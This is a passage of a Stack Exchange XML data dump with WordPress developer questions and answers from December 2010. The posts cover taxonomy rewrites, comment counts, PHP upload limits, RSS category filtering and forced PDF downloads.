still in English), and you might break places that still have entities.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-16T11:49:07.493" CommentCount="2" />
  <row Id="5485" PostTypeId="2" ParentId="5483" CreationDate="2010-12-16T11:53:48.863" Score="2" ViewCount="" Body="&lt;p&gt;I assume this is in a post edit/ post save action, in which case you should add checks for user level and a nonce in there. If you don't then this can be called in all sorts of places where the post values don't exist.&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2010-12-16T11:53:48.863" CommentCount="1" />
  <row Id="5486" PostTypeId="2" ParentId="5450" CreationDate="2010-12-16T11:54:26.437" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5146/how-to-preset-a-sidebar-widget-with-default-content-via-script&quot;&gt;How to preset a sidebar widget with default content via script?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5372/how-to-add-multiple-copies-of-a-widget-from-available-widgets&quot;&gt;How to add multiple copies of a widget from &quot;available widgets&quot;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5282/code-to-dynamically-populate-a-widget-with-preset-content&quot;&gt;Code to dynamically populate a widget with preset content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is your fourth topic on widget setup, could this not have been addressed inline with any of your other widget topics? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel these widget topics are starting to become a little duplicative.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-16T11:54:26.437" />
  <row Id="5488" PostTypeId="2" ParentId="5445" CreationDate="2010-12-16T14:28:09.633" Score="1" ViewCount="" Body="&lt;p&gt;The code you posted looks generally okay to me but as far as I know the rewrite parameter must be of type array or string, not bool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy(&#xA;  'type', &#xA;  array('venue'), &#xA;  array(&#xA;    'label' =&amp;gt; 'Types',&#xA;    'singular_label' =&amp;gt; 'Type', &#xA;    'rewrite' =&amp;gt; array('slug' =&amp;gt; 'type', 'hierarchical' =&amp;gt; true),&#xA;    'hierarchical' =&amp;gt; true, &#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably this is of help. The example code on &lt;a href=&quot;http://codex.wordpress.org/Custom_Taxonomies&quot; rel=&quot;nofollow&quot;&gt;Custom Taxonomies (Wordpress Codex)&lt;/a&gt; did work for me. As I do not have any idea about the &lt;code&gt;venue&lt;/code&gt; object type you're using I was not able to check your code directly.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-16T14:28:09.633" CommentCount="1" />
  <row Id="5489" PostTypeId="1" AcceptedAnswerId="12636" CreationDate="2010-12-16T14:45:54.277" Score="1" ViewCount="377" Body="&lt;p&gt;My goal is to only show posts with opening hours after business hours, for a given day. So, e.g. I have a (custom) post with following meta_key and meta_value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;meta_key = 'monday, meta_value = '14:00 - 22:00'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The business hours  are fixed: '08:00 - 18:00'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add a filter to my custom wp_query. Only, I am getting stuck at defining a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My logic input (definitely not correct &amp;amp; complete) for the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$from_std = strtotime(&quot;08:00&quot;);&#xA;$to_std = strtotime(&quot;18:00&quot;);                   &#xA;&#xA;$open = $my_meta['monday'];&#xA;list($from, $hyphen, $to) = explode(' ', $open);&#xA;$from_bus = strtotime($from); &#xA;$to_bus = strtotime($to);&#xA;&#xA;if ($from_bus &amp;lt; $from_std) { $show = 1; } // before standard starting time - so SHOW&#xA;  else {if ($to_bus &amp;gt; $to_std) { $show = 1; }} // after standard closing time - so SHOW&#xA;&#xA;if (empty($from_bus)) { show = 0; } // $var is either 0, empty, or not set at all - so do NOT show&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help on a function is very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2011-03-21T15:41:46.690" Title="Custom wp_query time filter on meta_value" Tags="&lt;filters&gt;&lt;wp-query&gt;&lt;post-meta&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5490" PostTypeId="1" CreationDate="2010-12-16T14:54:44.530" Score="0" ViewCount="281" Body="&lt;p&gt;I am using this code to show related posts without a plugin. Each post shows the title and comment count. The end result is similar to the way Mashable does it:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/I3cvI.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears under each post on single.php.  My problem is that the comment count shows the same number on each - it shows the number of comments for the current post.  I've tried it a couple  different ways as you can see below. How can I change it so that it will show the comment number for each post? By the way, this only started happening recently - previously it showed comment count for each. How weird is that?!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;relatedrandom&quot;&amp;gt; &#xA;    &amp;lt;h3&amp;gt;You May Also Like ...&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;     &amp;lt;?php&#xA;        $this_post = $post;&#xA;&#xA;    $total = get_comments_number();&#xA;        $category = get_the_category(); $category = $category[0]; $category = $category-&amp;gt;cat_ID;&#xA;        $posts = get_posts('numberposts=5&amp;amp;offset=0&amp;amp;orderby=post_date&amp;amp;order=DESC&amp;amp;category='.$category);&#xA;        $count = 0;&#xA;        foreach ( $posts as $post ) {&#xA;        if ( $post-&amp;gt;ID == $this_post-&amp;gt;ID || $count == 4 ) {&#xA;&#xA;        unset($posts[$count]);&#xA;        }else{&#xA;        $count ++;&#xA;        }&#xA;&#xA;        }&#xA;        ?&amp;gt;&#xA;     &amp;lt;?php foreach ( $posts as $post ) :&#xA;     ?&amp;gt;&#xA;&amp;lt;li&amp;gt;       &#xA;&amp;lt;div class=&quot;firstimage&quot;&amp;gt;&amp;lt;?php get_first_image($post-&amp;gt;ID);  ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;purpleLink&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;span class=&quot;commentbubble&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt; &amp;lt;?php echo $total; ?&amp;gt; &amp;lt;img src=&quot;http://mydomain.com/greybubble.jpg&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA; &amp;lt;/li&amp;gt;&#xA;&#xA; &amp;lt;?php endforeach // $posts as $post ?&amp;gt;&#xA; &amp;lt;/ul&amp;gt; &#xA;    &amp;lt;?php&#xA;        $post = $this_post;&#xA;        unset($this_post);&#xA;        ?&amp;gt;&#xA;       &amp;lt;/div&amp;gt;      &#xA;&#xA;&#xA;&amp;lt;div class=&quot;relatedrandom&quot;&amp;gt; &#xA;&amp;lt;h3&amp;gt;From the Archives...&amp;lt;/h3&amp;gt; &#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;     $rand_posts = get_posts('numberposts=4&amp;amp;orderby=rand');&#xA;     foreach( $rand_posts as $post ) :&#xA;     ?&amp;gt;&#xA; &amp;lt;li&amp;gt;&#xA;    &amp;lt;div class=&quot;firstimage&quot;&amp;gt;&amp;lt;?php get_first_image($post-&amp;gt;ID);  ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;purpleLink&quot;&amp;gt;&#xA;       &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;span class=&quot;commentbubble&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php comments_number('0','1','%'); ?&amp;gt; &amp;lt;img src=&quot;http://mydomain.com/greybubble.jpg&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;     &amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php endforeach; wp_reset_query(); ?&amp;gt;&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="676" LastActivityDate="2010-12-16T15:11:02.983" Title="How to Show Comment Count on Related Posts?" Tags="&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="5491" PostTypeId="2" ParentId="5452" CreationDate="2010-12-16T14:57:07.893" Score="1" ViewCount="" Body="&lt;p&gt;Yes, these posts are imported into my blog using a plugin called FeedWordPress. After doing a little more research, it looks like the formatting filters option needs to be set to &quot;Expose syndicate posts...&quot; instead of &quot;Protect syndicate posts...&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the posts are protected, and I choose the Visual editing tab in the posts editor, then the &amp;lt; p &gt; tags are removed from the HTML side resulting in one continuous paragraph.&lt;/p&gt;&#xA;" OwnerUserId="2019" LastEditorUserId="2019" LastEditorDisplayName="" LastEditDate="2010-12-16T23:11:01.023" LastActivityDate="2010-12-16T23:11:01.023" CommentCount="1" />
  <row Id="5492" PostTypeId="2" ParentId="5490" CreationDate="2010-12-16T15:11:02.983" Score="2" ViewCount="" Body="&lt;p&gt;get_comments_number works in the loop. You're using it outside. So do something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $category = get_the_category(); $category = $category[0]; $category = $category-&amp;gt;cat_ID;&#xA;    $posts = get_posts('numberposts=5&amp;amp;offset=0&amp;amp;orderby=post_date&amp;amp;order=DESC&amp;amp;category='.$category);&#xA;    foreach($posts as $post){&#xA;      setup_postdata($post);&#xA;          $total = get_comments_number();&#xA;          echo 'here we create the HTML and content for the post';&#xA;    }&#xA;    wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2020" LastActivityDate="2010-12-16T15:11:02.983" CommentCount="7" />
  <row Id="5493" PostTypeId="1" CreationDate="2010-12-16T15:33:48.030" Score="0" ViewCount="122" Body="&lt;p&gt;I'm trying to write a plugin script that involves the user uploading a large file. To cope with this I need to alter the following settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;post_max_size&lt;/li&gt;&#xA;&lt;li&gt;upload_max_size&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I alter these in php.ini it works as intended. However, it I try the following from within my plugin code, it doesn't take affect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@ini_set( 'upload_max_size' , '100M' );&#xA;@ini_set( 'post_max_size', '105M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't really want to have to talk the user through editing of either php.ini or a WordPress config file. Ideally I'd be able to perform it for them from within the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how this can be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-16T16:09:48.857" Title="Plugin Creation: Overriding upload_max_size and post_max_size" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="5494" PostTypeId="2" ParentId="5493" CreationDate="2010-12-16T16:01:24.477" Score="1" ViewCount="" Body="&lt;p&gt;First, the setting you want is &lt;code&gt;'upload_max_filesize'&lt;/code&gt;, not &lt;code&gt;'upload_max_size'&lt;/code&gt;. Second, both of those settings are &lt;code&gt;PHP_INI_PERDIR&lt;/code&gt;, which means they can only be set with php.ini, .htaccess, or httpd.conf. For more information see the PHP documentation on &lt;a href=&quot;http://us.php.net/manual/en/ini.list.php&quot; rel=&quot;nofollow&quot;&gt;php.ini directives&lt;/a&gt; and &lt;a href=&quot;http://php.net/manual/en/configuration.changes.modes.php&quot; rel=&quot;nofollow&quot;&gt;their configuration&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest using .htaccess, personally. You might look into writing the information directly to the file from the script, just like WordPress attempts to do for rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I just realized that I told you to do it in .htaccess but didn't tell you how. To set those values in .htaccess add the following lines to the file (anywhere in the file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value upload_max_filesize 100M&#xA;php_value post_max_size 105M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-12-16T16:09:48.857" LastActivityDate="2010-12-16T16:09:48.857" />
  <row Id="5495" PostTypeId="1" AcceptedAnswerId="5496" CreationDate="2010-12-16T16:12:40.633" Score="1" ViewCount="110" Body="&lt;p&gt;I have a need to customize some posts from the loop.&lt;br&gt;&#xA;Here's the deal: My site is set to 10 posts per page.&#xA;On post #2,#5, #7 (on every page), I want to display specific background.&#xA;What's the best solution for this kind of problem?&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-12-16T17:26:45.417" Title="How to track post number on the_loop" Tags="&lt;actions&gt;&lt;the-loop&gt;&lt;filters&gt;" AnswerCount="2" />
  <row Id="5496" PostTypeId="2" ParentId="5495" CreationDate="2010-12-16T16:20:07.197" Score="2" ViewCount="" Body="&lt;p&gt;This should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$real_current_post = $wp_query-&amp;gt;current_post + 1;&#xA;switch( $real_current_post ){&#xA;  case 2:&#xA;    // Do something for 2&#xA;    break;&#xA;  case 5:&#xA;    // Do something for 5&#xA;    break;&#xA;  case 7:&#xA;    // Do something for 7&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to globalize $wp_query, but as long as you're using the normal template hierarchy, it should already be in scope. If you do use &lt;code&gt;global $wp_query;&lt;/code&gt;, use it before the loop starts.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-16T16:20:07.197" CommentCount="3" />
  <row Id="5497" PostTypeId="2" ParentId="5495" CreationDate="2010-12-16T17:26:45.417" Score="0" ViewCount="" Body="&lt;p&gt;One way of handling this is to use CSS pseudo classes. On the plus side it keeps you from making hardwired decisions in your loop code, on the down side it won't work in older/broken browsers, ie. MSIE 6.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;div#content div.post:nth-child(2),&#xA;  div#content div.post:nth-child(5),&#xA;  div#content div.post:nth-child(7) {&#xA;      background-color: #FF0; }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you like this approach but it &lt;em&gt;must&lt;/em&gt; work in all browsers, then you can do the above in jQuery. Although I try to make major design elements degrade gracefully when dealing with dinosaurs like IE6, I've stopped catering to it for stuff like this. The majority of its users are either inside corporate LANs or are severely lagging end-users, neither of which are in our main demographics.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2010-12-16T17:26:45.417" />
  <row Id="5498" PostTypeId="1" CreationDate="2010-12-16T17:36:59.363" Score="0" ViewCount="93" Body="&lt;p&gt;I was trying to add the following SQL source code to a comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE a,b,c FROM wp_posts a&#xA;LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)&#xA;LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)&#xA;WHERE a.post_type = 'revision'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tried this approaches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;posted by using the backoffice&lt;/li&gt;&#xA;&lt;li&gt;used &lt;a href=&quot;http://zenverse.net/source-codes-in-comments-plugin/&quot; rel=&quot;nofollow&quot;&gt;Source Code in Comments Plugin&lt;/a&gt; with the code brackets&lt;/li&gt;&#xA;&lt;li&gt;and the &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; tags&lt;/li&gt;&#xA;&lt;li&gt;through Postable (www.elliotswan.com/postable) first&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It always redirect to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1943" LastActivityDate="2010-12-17T09:56:48.850" Title="Adding SQL source code to comments" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5499" PostTypeId="2" ParentId="5419" CreationDate="2010-12-16T18:36:52.437" Score="0" ViewCount="" Body="&lt;p&gt;A PDF will be saved with mime-type of &lt;code&gt;application/pdf&lt;/code&gt;, so if your theme has an &lt;strong&gt;application.php&lt;/strong&gt; or &lt;strong&gt;pdf.php&lt;/strong&gt; template file that forces download (or if you check for mime-type in your &lt;strong&gt;attachment.php&lt;/strong&gt; template), you can force a download. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;pdf.php&lt;/strong&gt; file built like this in your theme should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if (have_posts()) : while (have_posts()) : the_post();&#xA;&#xA;$pdf_title = $post-&amp;gt;post_title;&#xA;$uploads_dir = wp_upload_dir();&#xA;$attachment_src = get_post_meta( $post-&amp;gt;ID, '_wp_attached_file', true );&#xA;$pdf_src = path_join( $uploads_dir['path'], $attachment_src );&#xA;&#xA;&#xA; header(&quot;Pragma: public&quot;); // required&#xA; header(&quot;Expires: 0&quot;);&#xA; header(&quot;Cache-Control: must-revalidate, post-check=0, pre-check=0&quot;);&#xA; header(&quot;Cache-Control: private&quot;,false); // required for certain browsers &#xA; header(&quot;Content-Type: application/pdf&quot;);&#xA; header(&quot;Content-Disposition: attachment; filename=\&quot;&quot;.$pdf_title.&quot;\&quot;;&quot; );&#xA; header(&quot;Content-Transfer-Encoding: binary&quot;);&#xA; header(&quot;Content-Length: &quot;.filesize($pdf_src));&#xA; ob_clean();&#xA; flush();&#xA; readfile(&quot;$pdf_src&quot;);&#xA;&#xA;&#xA;endwhile; endif;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Edit: I should note that in order for this to work, when you insert the file into your post through the media uploader, you have to select &lt;strong&gt;Post URL&lt;/strong&gt; rather than &lt;strong&gt;File URL&lt;/strong&gt; in the &lt;em&gt;Link URL&lt;/em&gt; field before inserting into your post. A link to a filename will follow the browser's preferences, but by linking to the WP post link, you can control its behaviour.)&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-12-18T04:33:41.503" LastActivityDate="2010-12-18T04:33:41.503" CommentCount="2" />
  <row Id="5500" PostTypeId="2" ParentId="5422" CreationDate="2010-12-16T18:37:05.690" Score="1" ViewCount="" Body="&lt;p&gt;There is a really great clone software that works as a back up and you can move the whole blog as is anywhere you want. It takes just a matter of minutes. You can get it here:&#xA;&lt;a href=&quot;https://fladlien.infusionsoft.com/go/wptwin/edakehur/&quot; rel=&quot;nofollow&quot;&gt;https://fladlien.infusionsoft.com/go/wptwin/edakehur/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps. I have used to move sites, back sites up, help others move sites. If you only need to move this one, it may not be for you, but if this is something you will do from time to time, it is a fantastic tool to use to move (and back up) wordpress blogs.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-16T18:37:05.690" />
  <row Id="5501" PostTypeId="2" ParentId="4616" CreationDate="2010-12-16T19:12:35.213" Score="1" ViewCount="" Body="&lt;p&gt;Have you checked out the following plugin?&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/public-post-preview/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/public-post-preview/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-16T19:12:35.213" />
  <row Id="5503" PostTypeId="1" AcceptedAnswerId="5507" CreationDate="2010-12-16T19:55:38.537" Score="0" ViewCount="141" Body="&lt;p&gt;Basically we're (ab)using Category to determine whether a post is a News post or a Blog post, and so it's not a category in the traditional sense to the outside world.  I'd like the category to not be indexed by feed-readers/crawlers, only the tags.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found an easy way to do it with an easy change to 1 function in the core, but &lt;a href=&quot;http://codex.wordpress.org/images/b/b3/donthack.jpg&quot; rel=&quot;nofollow&quot;&gt;I'd rather avoid that&lt;/a&gt; if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that without modifying core? (Specifically &lt;code&gt;get_the_category_rss&lt;/code&gt; in &lt;code&gt;wp-includes/feed.php&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;What I mean specifically is to not list the category in the feed.  For example, this is what part the current RSS2 feed looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;category&amp;gt;&amp;lt;![CDATA[blog]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&amp;lt;category&amp;gt;&amp;lt;![CDATA[test]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&amp;lt;category&amp;gt;&amp;lt;![CDATA[testing]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&amp;lt;category&amp;gt;&amp;lt;![CDATA[yeah!]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;blog&quot; is a Wordpress Category, while &quot;test&quot;, &quot;testing&quot;, and &quot;yeah!&quot; are Wordpress Tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to exclude the entry &lt;code&gt;&amp;lt;category&amp;gt;&amp;lt;![CDATA[blog]]&amp;gt;&amp;lt;/category&amp;gt;&lt;/code&gt; entirely from the feed.  The same should apply to Atom feeds and any others.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastEditorUserId="1803" LastEditorDisplayName="" LastEditDate="2010-12-16T20:46:23.250" LastActivityDate="2010-12-17T17:22:08.227" Title="How to not treat categories as tags in feeds" Tags="&lt;categories&gt;&lt;tags&gt;&lt;feed&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="5504" PostTypeId="1" CreationDate="2010-12-16T20:47:11.033" Score="0" ViewCount="574" Body="&lt;p&gt;I am tyring to add a category drop down list to my theme options page. I am try it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;            Select a style from the list&#xA;            &amp;lt;?php&#xA;            $amp_categories_obj = get_categories('hide_empty=0');&#xA;   $amp_categories = array();&#xA;   foreach ($amp_categories_obj as $amp_cat) {&#xA;   $amp_categories[$amp_cat-&amp;gt;cat_ID] = $amp_cat-&amp;gt;category_nicename;&#xA;   }&#xA;   $categories_tmp = array_unshift($amp_categories, &quot;Select a category:&quot;); &#xA;&#xA;   echo &quot;&amp;lt;select name='amp_options[amp_cat]'&amp;gt;&quot;;&#xA;   foreach ($amp_categories_obj as $amp_cat) {&#xA;    $selected = ($options['amp_cat']==$amp_cat) ? 'selected=&quot;selected&quot;' : '';&#xA;    echo &quot;&amp;lt;option value='$amp_cat' $selected&amp;gt;$amp_cat&amp;lt;/option&amp;gt;&quot;;&#xA;   }&#xA;   echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;&#xA;   ?&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not much of a PHP coder by the way. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1905" LastActivityDate="2010-12-16T21:18:13.820" Title="Adding category dropdown list to theme options page" Tags="&lt;categories&gt;&lt;list&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5505" PostTypeId="1" AcceptedAnswerId="5511" CreationDate="2010-12-16T21:17:37.427" Score="1" ViewCount="457" Body="&lt;p&gt;I've searched through the existing questions and answers, but haven't found what i'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to make wordpress rename files during upload and set their names to the post slug the files are beeing attached to, plus some random characters (a simple incremental counter will de just fine) to make the filenames different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if i'm uploading/attaching images to the post whose page slug is &quot;test-page-slug&quot;, i'd like for the images to be renamed on the fly to test-page-slug-[C].[original_extension] — test-page-slug-1.jpg, test-page-slug-2.jpg etc (no matter what the original filenames were).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's this plugin —&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-upload-dir/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-upload-dir/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;With this plugin you can construct paths from additional variables like: post title, ID, category, post author, post date and much more.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd LOVE to be able to do the same to filenames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Thanks so much in advance.&lt;/p&gt;&#xA;" OwnerUserId="1826" LastActivityDate="2010-12-17T16:17:50.857" Title="rename files during upload using variables" Tags="&lt;uploads&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="5506" PostTypeId="2" ParentId="5504" CreationDate="2010-12-16T21:18:13.820" Score="1" ViewCount="" Body="&lt;p&gt;You should use  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_dropdown_categories(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1489" LastActivityDate="2010-12-16T21:18:13.820" CommentCount="2" />
  <row Id="5507" PostTypeId="2" ParentId="5503" CreationDate="2010-12-16T21:22:40.043" Score="3" ViewCount="" Body="&lt;p&gt;Tricky. It lumps categories and tags together pretty good. Had couple of approaches here is least messy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_category_rss', 'remove_rss_categories');&#xA;&#xA;function remove_rss_categories( $the_list ) {&#xA;&#xA;    $categories = get_the_category();&#xA;&#xA;    foreach ($categories as $category)&#xA;        $the_list = str_replace(&quot;&amp;lt;category&amp;gt;&amp;lt;![CDATA[{$category-&amp;gt;name}]]&amp;gt;&amp;lt;/category&amp;gt;&quot;, '', $the_list);&#xA;&#xA;    return $the_list;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-16T21:22:40.043" CommentCount="1" />
  <row Id="5508" PostTypeId="1" CreationDate="2010-12-16T22:35:10.757" Score="1" ViewCount="396" Body="&lt;p&gt;What’s the best way to make Wordpress accept non-unique sub-category slugs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, Wordpress ensures that every ‘slug’ portion of permalink URLs is unique, and is very savvy about using this to ensure you never see a 404 from omitting a portion of the URL. This means if my permalink structure is…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://site-root.com/category-name/sub-category-name/post-name/post-id&quot; rel=&quot;nofollow&quot;&gt;http://site-root.com/category-name/sub-category-name/post-name/post-id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then….&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site-root.com/category-name/sub-category-name/post-name/post-id&quot; rel=&quot;nofollow&quot;&gt;http://site-root.com/category-name/sub-category-name/post-name/post-id&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site-root.com/category-name/sub-category-name/post-name&quot; rel=&quot;nofollow&quot;&gt;http://site-root.com/category-name/sub-category-name/post-name&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site-root.com/category-name/sub-category-name/post-id&quot; rel=&quot;nofollow&quot;&gt;http://site-root.com/category-name/sub-category-name/post-id&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site-root.com/sub-category-name/post-name/post-id&quot; rel=&quot;nofollow&quot;&gt;http://site-root.com/sub-category-name/post-name/post-id&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;will all take me to the same post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if that kind of fail-safe redirection is less important to someone than being able to have non-unique slugs (and nicely structured directories), I’m SOL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s say I’m writing a restaurant review guide in major cities. I want my top-level categories to be city names, and the types of restaurants to be the sub-categories. So I create “Boston”, “New York”, and “Seattle”, then 